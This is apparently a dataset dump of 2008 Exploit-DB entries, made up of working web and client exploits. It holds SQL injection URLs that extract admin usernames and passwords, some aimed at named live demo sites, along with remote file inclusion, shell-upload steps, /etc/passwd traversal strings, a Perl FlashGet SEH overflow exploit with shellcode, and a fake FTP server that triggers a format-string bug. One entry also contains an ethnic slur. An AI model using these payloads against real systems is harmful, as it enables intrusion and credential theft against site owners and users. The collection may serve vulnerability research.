QLWD/code_shield huggingface dataset:
标题: VidiScript (Avatar) - Arbitrary File Upload EDB-ID: 6259 CVE: 2008-6518 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  VidiScript  
 
<<->> Demo site : www.vidiscript.com/mainstreamdemo


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

        1) first Register in site 
        
        2) login and go to ur profil and in Current avatar .. u can upload shell ... shell.php 
         
        3) hack site  :)  finished 

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus 
                           
                      :: abo-najm $ hacker-b0y & br1ght-dark & eng.silent $ spid3r-net & golden-zero

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-08-18] URL: https://www.exploit-db.com/exploits/6259
标题: XNova 0.8 sp1 - 'xnova_root_path' Remote File Inclusion EDB-ID: 6254 CVE: 2008-6023 2008-6022 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-17 漏洞利用脚本: ##################################################################################################################################
Name: Xnova(Ogame) Remote File Inclusion
Author : NuclearHaxor
Contact MSN: nuclearhaxor@hotmail.com

homepage of xnova: http://xnova.fr/

Vuln file: includes/todofleetcontrol.php
Vuln line: include($ugamela_root_path . 'includes/functions/FlyingFleetHandler.'.$phpEx); -> but no declared ugamela_root_path ;)

Exploit(this exploit works in 90% targets):

------
target.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]?
or new version of xnova:
target.com/includes/todofleetcontrol.php?xnova_root_path=[shell]?
------

FUckZZz to Cybernet1c(2) aka ph4nt0mh4ck3r && Cr4wl aka Raz0r

##################################################################################################################################

# milw0rm.com [2008-08-17] URL: https://www.exploit-db.com/exploits/6254
标题: PHPBasket - 'pro_id' SQL Injection EDB-ID: 6258 CVE: 2008-3713 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-17 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# ---  d3hydr8 - jeed - baltazar - P47r1ck - C1c4Tr1Z - beenu # 
# ---  rsauron  - letsgorun - K1u - DON - OutLawz - MAGE  --- # 
################################################################ 
# 
# Author: r45c4l and sinner_01 
# 
# Home  : www.darkc0de.com & ljuska.org 
# 
# Email : r45c4l@hotmail.com, sinn3r01@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# App Name:  PHPBasket 
# 
# Soft.Site: http://www.phpbasket.com/
# 
# Dork: "Powered by PHPBasket" 
# 
# POC-1:-=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users-- 
# 
# P0C-2:-=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users--
# 
#Example: 
#http://localhost/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users-- 
#
#http://localhost/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users-- 
#
################################################################ 
# Vuln Discovered 17/08/2008 

# milw0rm.com [2008-08-17] URL: https://www.exploit-db.com/exploits/6258
标题: cyberBB 0.6 - Multiple SQL Injections EDB-ID: 6260 CVE: 2008-3718 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-18 漏洞利用脚本: ########################################################################################
#
#   Name        :   cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities
#   Author      :   cOndemned [ Dark-Coders ]
#   Greetz      :   Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more...
#   Conditions  :   Magic quotes gpc = On & Off / User must be logged into 
#
########################################################################################

source of /show_topic.php :

    21.     $id=$_REQUEST['id'];
    22.
    23.     if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p='';
    24.
    25.     $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass);
    26.
    27.     mysql_select_db($mysql_db);
    28.
    29.     $sql = "SELECT * FROM `topics` WHERE `id` = $id";


 proof of concept :
    
    /show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/*


second sql injection (magic quotes gpc must be off):
    
    /profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/*

   
just 4 fun

# milw0rm.com [2008-08-18] URL: https://www.exploit-db.com/exploits/6260
标题: phpArcadeScript 4 - 'cat' SQL Injection EDB-ID: 6255 CVE: 2008-3711 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-17 漏洞利用脚本: |___________________________________________________|
|
| PHP Arcade Script v4.0 (cat) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.phparcadescript.com
| 
| DorK   :  :-P 
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--






L!VE DEMO:
_________


http://www.phparcadedemo.com/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--


____________

Admin Login :

www.[target].com/Script/admin/

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|   
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n 
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-17] URL: https://www.exploit-db.com/exploits/6255
标题: FlashGet 1.9.0.1012 - 'FTP PWD Response' Remote Buffer Overflow (SafeSEH) EDB-ID: 6256 CVE: 2008-4321 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-17 漏洞利用脚本: #!/usr/bin/perl
# k`sOSe 08/17/2008
# bypass safeseh using flash9f.ocx.

use warnings;
use strict;
use IO::Socket;

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode = 
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b".
"\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55".
"\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59".
"\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d".
"\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76".
"\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34".
"\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b".
"\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78".
"\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14".
"\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10";

my @targets = ( "\x82\x01\x02\x30", "\x82\x01\x02\x30", "\x0b\x02\x01\x30" );

if( !defined($ARGV[0]) or $ARGV[0] !~ /^(1|2|3)$/ )
{
 usage();
}

$ARGV[0]--;

my $sock = IO::Socket::INET->new( 
     LocalAddr => '0.0.0.0', 
     LocalPort => '21', 
     Listen => 1, 
     Reuse => 1 
     ) || die($!);

while(my $csock = $sock->accept())
{

 print $csock "220 Hello ;)\r\n"; 
 read_sock($csock);

 print $csock "331 pwd please\r\n";
 read_sock($csock);

 print $csock "230 OK\r\n";
 read_sock($csock);

 print $csock "250 CWD command successful.\r\n";
 read_sock($csock);

 print $csock "257 " . "\x22" . 
   "\x41" x 324 . 

   "\xEB\x06\x90\x90" . # jump ahead
   $targets[$ARGV[0]] . # pop,pop,ret @ flash9f.ocx, thanks macromedia for avoiding /SAFESEH  ;)

   $shellcode .

   "\x90" x 840 .
   "\x22" .
   " is current directory.\r\n";
  
 close($csock);
 exit;
}



sub read_sock
{
 my ($sock) = @_;

 my $buf = <$sock>;

 print "[client] -> $buf";

}

sub usage
{
 print "usage: $0 [1,2,3]
  1 -> Windows XP SP1
  2 -> Windows XP SP2
  3 -> Windows XP SP3\n";
 exit;
}

# milw0rm.com [2008-08-17] URL: https://www.exploit-db.com/exploits/6256
标题: Banner Management Script - 'id' SQL Injection EDB-ID: 6276 CVE: 2008-3749 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-19 漏洞利用脚本: |___________________________________________________|
|
| Banner Management Script (tr.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------S.W.A.T.----------------------|
|
|    Author: S.W.A.T.
|
|    Home :  www.svvat.ir
|
|    email:  svvateam[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.yourfreeworld.com/script/bannermanagementscript.php
|
| DorK   : inurl:tr.php?id= Banner
|___________________________________________________|

Exploit:
________



www.[target].com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






L!VE DEMO:
_________


http://www.downlinegoldmine.com/bannermanagerpro/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


____________

Admin Login :

www.[target].com/Script/admin.php

or

www.[target].com/Script/adadmin.php

# milw0rm.com [2008-08-19] URL: https://www.exploit-db.com/exploits/6276
标题: Ipswitch WS_FTP Home/Professional FTP Client - Remote Format String (PoC) EDB-ID: 6257 CVE: 2008-3795 2008-3734 类型: DOS 平台: WINDOWS 发布日期: 2008-08-17 漏洞利用脚本: ##################################################################################################################
#
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability 
# Vendor : http://www.ipswitch.com/
# Affected Os : Windows *
# Risk : critical
#
# This bug is pretty interresting in the way you have to exploit it in a weird way...
#
# With this PoC you'll get a full control over EAX/ECX  
# (
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# USER32!CharLowerA+0x93:
# 77d3ef68 8a10             mov     dl,[eax]                ds:0023:41414141=??
# )
# Fake Server PoC :
use strict;
use Socket;

my $port = shift || 21;
my $proto = getprotobyname('tcp');
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";

my $visitor;
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "To bad $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
or die "Shitz port $port is allready in use, shut down your ftp server !\n";
listen(SOCKET, 5) or die "Listen: $!";
print "Fake Server started on port $port\n";
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
print NEW_SOCKET $goodz;
close NEW_SOCKET;
}

# Anyways, in the WS_FTP Home client there's still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ).

# milw0rm.com [2008-08-17] URL: https://www.exploit-db.com/exploits/6257
标题: TWiki 4.2.0 - 'configure' Remote File Disclosure EDB-ID: 6269 CVE: 2008-4112 2008-3195 类型: WEBAPPS 平台: CGI 发布日期: 2008-08-19 漏洞利用脚本: ################################################################################################################
#                                                                                                              #
#                                 TWiki 4.2.0 File Disclosure Vuln (configure)                                 #
#                                                                                                              #
################################################################################################################

 "We're brazilian newbies!!! :p" - Th1nk3r

Info
----------------------------------------------------------------------------------------------------------------
Classe    :  Input Validation Error 
Remote    :  Yes
Local     :  No
Date      :  05/08/2008
Credits   :  Th1nk3r  (cnwfhguohrugbo / gmail.com)
Greetz    :  w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.

Description
----------------------------------------------------------------------------------------------------------------
 TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
 Vulnerable code of "/bin/configure" script:

 if( $action eq 'image' ) {
      # SMELL: this call is correct, but causes a perl error
      # on some versions of CGI.pm
      # print $query->header(-type => $query->param('type'));
      # So use this instead:
      print 'Content-type: '.$query->param('type')."\n\n";
     if( open(F, 'logos/'.$query->param('image' ))) {
         local $/ = undef;
         print <F>;
         close(F);
     }
     exit 0;
}

 The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
 Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".



Exploit
----------------------------------------------------------------------------------------------------------------

 To exploit the bug, you just need set the "image" variable to the path of file you wish to view. 
 The file will be revealed if you have permission to view it.
 
 By example, to show the "/etc/passwd" file content, go to :
 http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain



Solution
----------------------------------------------------------------------------------------------------------------
 Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for 
more information of how to protect your "configure" script.

# milw0rm.com [2008-08-19] URL: https://www.exploit-db.com/exploits/6269
标题: Zeeways ZeeJobsite 2.0 - 'adid' SQL Injection EDB-ID: 6249 CVE: 2008-3706 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: |___________________________________________________|
|
| ZEEJOBSITE v2.0  (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script http://zeeways.com/main/products/ZEEJOBSITE-v2.0.html
|
| DorK : inurl:employer_profile.php?compid=
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://www.zeejobsite.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




___________________


Admin  LogiN :

www.[target].com/Script/admin/


____________________________( Greetz )____________________________
|
|  tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|   
|  jiko | CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n | str0ke
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-15] URL: https://www.exploit-db.com/exploits/6249
标题: dotCMS 1.6 - 'id' Local File Inclusion EDB-ID: 6247 CVE: 2008-3708 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ script:dotCMS
+ home: http://www.dotcms.org
+ demo: http://www.dotcms.org/the_dotcms/demos/demo.dot
+ founder: Don of h4cky0u.org
+ Vulnerability: Directory traversal
++++++++++++++++++++++++++++++++++++++++++++++++++++++

exploit:
/index.dot?id=../../../../../../../../etc/passwd%00.jpg
/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

example:
http://demo.dotcms.org/news/index.dot?id=../../../../../../../../etc/passwd%00.jpg
http://demo.dotcms.org/getting_started/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

solution:
Script should filter meta characters from user input.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-08-15] URL: https://www.exploit-db.com/exploits/6247
标题: VideoLAN VLC Media Player 0.8.6i - '.tta' File Parsing Heap Overflow (PoC) EDB-ID: 6252 CVE: 2008-3732 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-16 漏洞利用脚本: -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name          : VLC 0.8.6i
Class         : Heap overflow
Published    : 2008-08-16
Credit  : g_ (g_ # orange-bat # com)

- - Details -


\modules\demux\tta.c
 
    #define TTA_FRAMETIME 1.04489795918367346939
 .
 .
 .
    int         i_seektable_size = 0, i;
 .
 .
 .
    /* Read the metadata */
    es_format_Init( &fmt, AUDIO_ES, VLC_FOURCC( 'T', 'T', 'A', '1' ) );
    fmt.audio.i_channels = GetWLE( &p_header[6] );
    fmt.audio.i_bitspersample = GetWLE( &p_header[8] );
[1] fmt.audio.i_rate = GetDWLE( &p_header[10] );

    p_sys->i_datalength = GetDWLE( &p_header[14] );
    p_sys->i_framelength = TTA_FRAMETIME * fmt.audio.i_rate;

[2] p_sys->i_totalframes = p_sys->i_datalength / p_sys->i_framelength +
                       ((p_sys->i_datalength % p_sys->i_framelength) ? 1 : 0);
    p_sys->i_currentframe = 0;

[3] i_seektable_size = sizeof(uint32_t)*p_sys->i_totalframes;
    p_seektable = (uint8_t *)malloc( i_seektable_size );
    stream_Read( p_demux->s, p_seektable, i_seektable_size ); 
    p_sys->pi_seektable = (uint32_t *)malloc(i_seektable_size);

    for( i = 0; i < p_sys->i_totalframes; i++ )
[4]      p_sys->pi_seektable[i] = GetDWLE( &p_seektable[i*4] );


[1] - we can set i_rate to 1
[2] - i_framelength = 1 (look for constant definition, it's ~1), 
 so i_totalframes = i_datalength
[3] - because we can set i_datalength to 2^30 and bacause 
 i_totalframes = i_datalength, multiplication will overflow
[4] - i_totalframes is positive (highest bit not set), so this loop will 
 spin 2^30 times, overwriting everything with data from the heap. 
 unfortunate thing is we have little control over what is written. 

- - Proof of concept -


http://www.orange-bat.com/adv/2008/vlc.dos.tta
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6252.tta (2008-vlc.dos.tta)

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

(c) 2008 www.orange-bat.com 


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAkimwoYACgkQIUHRVUfOLgW8hgCgmPcqqIlcLQpmH8u6wB2fVOHs
Zv4AoNNYWhzdknZOnPuChysoak1rMRsx
=4K3f
-----END PGP SIGNATURE-----

# milw0rm.com [2008-08-16] URL: https://www.exploit-db.com/exploits/6252